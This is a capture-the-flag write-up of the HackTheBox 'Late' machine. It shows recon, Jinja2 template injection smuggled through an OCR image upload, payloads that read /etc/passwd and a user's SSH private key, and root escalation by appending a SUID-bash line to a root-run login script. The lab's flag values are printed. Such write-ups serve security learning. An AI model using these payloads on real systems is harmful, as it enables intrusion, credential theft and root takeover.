the_open_door
coffee
ESEN

Late

HackTheBoxEasyLinux10.10.11.156

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#linux#flask#ssti#ocr#file-read#ssh-key#cron#chattr#append-only#oscp
TL;DR. Port 80 serves a static site linking to images.late.htb, a Flask OCR app that converts images to text. Flask's Jinja2 engine evaluates the extracted text, so an image carrying {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }} triggers SSTI and arbitrary file read. Reading /home/svc_acc/.ssh/id_rsa grants SSH access as svc_acc. To escalate, a script /usr/local/sbin/ssh-alert.sh owned by svc_acc runs as root on every SSH login; it carries the a attribute (append-only via chattr), so it can't be edited, but echo 'chmod u+s /bin/bash' >> works. After a second SSH login, bash -p gives root.

Recon

Ping

We start with a ping to confirm the host is up and check the TTL, which gives a quick hint about the operating system: values near 64 usually mean Linux, near 128 mean Windows.

ping -c 1 10.10.11.156

ping to Late: TTL 63 confirms Linux

64 bytes from 10.10.11.156: icmp_seq=1 ttl=63 time=113 ms

TTL 63 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 63 = 64−1; a hint, not proof (it can be spoofed), confirmed by the service scan.

Port scan

We go through all 65535 TCP ports with -p- (fast and without fingerprinting, just to discover the open ones; -n -Pn skips DNS and ping):

sudo nmap -p- --open --reason -n -Pn 10.10.11.156

nmap -p- on Late: 22 and 80

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

extractPorts, a .zshrc function, boils the -oG file down and leaves the ports on the clipboard:

extractPorts scan

extractPorts boils late's scan down: IP 10.10.11.156 and open ports 22,80, copied to the clipboard

Extracting information ...
IP Address: 10.10.11.156
Open ports: 22,80

Ports copied to clipboard

Just SSH and HTTP. -sCV details the versions:

nmap -sCV on ports 22 and 80: OpenSSH 7.6p1, nginx 1.14.0

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSH 7.6p1 (old version, vulnerable to user enumeration, but not the path here) and an nginx 1.14.0 serving a site titled "Late - Best online image tools" under late.htb.

Virtual hosting and subdomains

Add late.htb to /etc/hosts:

/etc/hosts with late.htb pointing to 10.10.11.156

whatweb confirms the stack (Bootstrap, jQuery, nginx) and drops a support email support@late.htb, hinting late.htb is a domain with potential subdomains:

whatweb on 10.10.11.156: Bootstrap 3.0.0, nginx 1.14.0, support@late.htb

http://10.10.11.156 [200 OK] Bootstrap[3.0.0], Email[support@late.htb],
 HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)],
 Meta-Author[Sergey Pozhilov (GetTemplate.com)],
 Title[Late - Best online image tools], nginx[1.14.0]

Wappalyzer in the browser gives the same profile; nothing pointing to a CMS with known vulns:

Wappalyzer on late.htb: Bootstrap, jQuery, nginx, Font Awesome

A subdomain fuzz with wfuzz finds images.late.htb:

wfuzz reports images.late.htb

wfuzz -u http://late.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -t 100 -H "Host: FUZZ.late.htb" --hh=9461

images.late.htb is added to /etc/hosts too:

/etc/hosts updated with images.late.htb

127.0.0.1       localhost
127.0.1.1       kali
...
10.10.11.156    late.htb images.late.htb

Flask OCR on images.late.htb

images.late.htb interface: upload an image and get back a .txt

The app takes an image, runs OCR on it, and returns a .txt with the result. Being Flask (Jinja2) turns this OCR pipeline into a potential SSTI channel: if the extracted text goes through render_template_string(), any {{ }} expression evaluates server-side.

Shell as svc_acc

SSTI via image

For the OCR to cleanly parse the payload, it's typed in an editor with a large clear font (not handwritten), captured with scrot, and uploaded:

{{ 7*7 }}

Mousepad with the {{ 7*7 }} payload

It's captured with scrot and checked with feh before uploading:

sleep 3; scrot -s test.png
feh test.png

scrot captures test.png and feh shows it with the {{ 7*7 }} payload

feh [1 of 1] - test.png

{{7*7}}

The image is uploaded to the Flask app:

uploading test.png with the {{ 7*7 }} payload to images.late.htb

The returned .txt contains "49" instead of {{ 7*7 }}

The .txt file says 49: the expression was evaluated. SSTI confirmed.

Reading /etc/passwd

In PayloadsAllTheThings (Server Side Template Injection → Python.md) there are several Jinja2 file-read gadgets. The one that works best here uses get_flashed_messages:

PayloadsAllTheThings: Jinja2 file-read gadgets

The standard Jinja2 gadget for file read:

{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

File-read payload written in LibreOffice with a clean font scrot captures the /etc/passwd read payload and feh verifies it Result .txt with /etc/passwd contents

Among the users, svc_acc stands out (has a shell and home dir). SSH is open, so the next payload targets the private key:

Reading svc_acc's id_rsa

{{ get_flashed_messages.__globals__.__builtins__.open("/home/svc_acc/.ssh/id_rsa").read() }}

id_rsa payload in image scrot captures the id_rsa read payload and feh verifies it Result .txt with the full RSA key

The full private key arrives in the .txt. The app hands the result over as a browser download, so the file lands in ~/Downloads under whatever name the browser picks (results(1).txt, with the (1) because a results.txt from the earlier /etc/passwd read was already there). First we bring it into the working dir:

mv /home/krmena/Downloads/results\(1\).txt .

mv of the downloaded results(1).txt from ~/Downloads into the machine's working directory

Locally it is renamed to id_rsa, opened with nano to clean up any OCR artefacts, and checked to be complete (from BEGIN RSA PRIVATE KEY to END RSA PRIVATE KEY, 27 lines) before giving it the 600 permissions SSH requires:

mv results\(1\).txt id_rsa
nano id_rsa
cat id_rsa
chmod 600 id_rsa

renaming to id_rsa, cleaning with nano, cat showing the full RSA key and chmod 600

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
<SNIP>
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----

With the key ready, we log in over SSH:

ssh -i id_rsa svc_acc@10.10.11.156

SSH as svc_acc successful

The authenticity of host '10.10.11.156 (10.10.11.156)' can't be established.
ED25519 key fingerprint is SHA256:LsThZBhhwN3ctG27voIMK8bWCmPJkR4iDV9eb/adDOc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.156' (ED25519) to the list of known hosts.
svc_acc@late:~$

User flag:

cat user.txt

4055aab560eba55318ffde5f2816a29b

Privilege Escalation

ssh-alert.sh script (cron + append-only)

Hunting files owned by the user outside /home:

find / -user $(whoami) 2>/dev/null | grep -vE 'run|proc|var|sys|home'

find shows /usr/local/sbin/ssh-alert.sh owned by svc_acc

/usr/local/sbin
/usr/local/sbin/ssh-alert.sh
/dev/pts/0

A script in /usr/local/sbin is owned by svc_acc. We read it:

cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi

The script sends an email on every SSH login. The $PAM_* variables hint PAM invokes it. To confirm who actually runs it, pspy64 is transferred to the victim (HTTP server on the attacker, wget on the box):

# attacker
python3 -m http.server 80
# victim
wget http://10.10.16.6/pspy64 && chmod +x pspy64

transferring pspy64 to the victim

svc_acc@late:~$ wget http://10.10.16.6/pspy64
Connecting to 10.10.16.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
pspy64  100%[===================>]  2.96M  747KB/s  in 5.1s
2025-09-23 11:44:15 (596 KB/s) - 'pspy64' saved [3104768/3104768]

On another SSH login, pspy64 records that root (UID=0) runs the script, and reveals a cron doing chattr -a before and chattr +a after, which explains the append-only attribute:

pspy64 confirms root runs ssh-alert.sh on every SSH login

UID=0 ... /bin/bash /usr/local/sbin/ssh-alert.sh
UID=0 ... chattr -a /usr/local/sbin/ssh-alert.sh
UID=0 ... chattr +a /usr/local/sbin/ssh-alert.sh

svc_acc owns the file, so in theory it could be modified. The first attempt with nano fails with "Operation not permitted", which leads to checking the extended attributes:

nano fails saving ssh-alert.sh: Operation not permitted

lsattr /usr/local/sbin/ssh-alert.sh
# -----a--------e--- /usr/local/sbin/ssh-alert.sh

The a attribute (append-only via chattr): nano, vi, >, and any non-append write fail with "Operation not permitted". But >> works.

Injection via append

echo 'chmod u+s /bin/bash' >> /usr/local/sbin/ssh-alert.sh
cat /usr/local/sbin/ssh-alert.sh

echo &gt;&gt; injects chmod u+s /bin/bash at the end of the script

...
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
chmod u+s /bin/bash

Now any SSH login fires the script as root and sets the SUID bit on /bin/bash. Just open another SSH session:

ssh -i id_rsa svc_acc@10.10.11.156
ls -l /bin/bash
# -rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash
bash -p
cat /root/root.txt

bash -p gives euid=0(root), cat root.txt

2eee81d9b46abff2f8854d01bbbc1a65

Attack chain

nmap (22, 80)
  └─> late.htb → wfuzz → images.late.htb (Flask OCR)
        └─> {{ 7*7 }} = 49 → SSTI confirmed
              └─> {{ ...open("/etc/passwd").read() }} → svc_acc
                    └─> {{ ...open("/home/svc_acc/.ssh/id_rsa").read() }}
                          └─> SSH as svc_acc + user.txt
                                └─> /usr/local/sbin/ssh-alert.sh (PAM, runs as root)
                                      └─> `a` attribute (append-only) → echo >> chmod u+s /bin/bash
                                            └─> new SSH login → bash -p → root.txt

Lessons learned

  • OCR + templates = SSTI: if a Flask app passes extracted text through render_template_string(), the attacker controls the template via an image. Font choice matters: large, clean fonts make the OCR read without errors.
  • Reading /etc/passwd via SSTI isn't the end, it's the means: the user list dictates the next payload (id_rsa, authorized_keys, config files).
  • The a attribute (append-only, set with chattr +a) blocks all writes except >>. It's partial protection: an attacker who can append to a root-executed script gets the same result as editing it: inject a line at the end.
  • Scripts invoked by PAM run as root on every login. If a regular user owns the file, escalation boils down to finding how to write to it (here, append-only allows just enough).
  • Always lsattr before nano/vi: if chattr +a or +i is set, the "Operation not permitted" error misleads if you don't know the cause is extended attributes, not UNIX permissions.
Command cheatsheet 10 commands

Quick review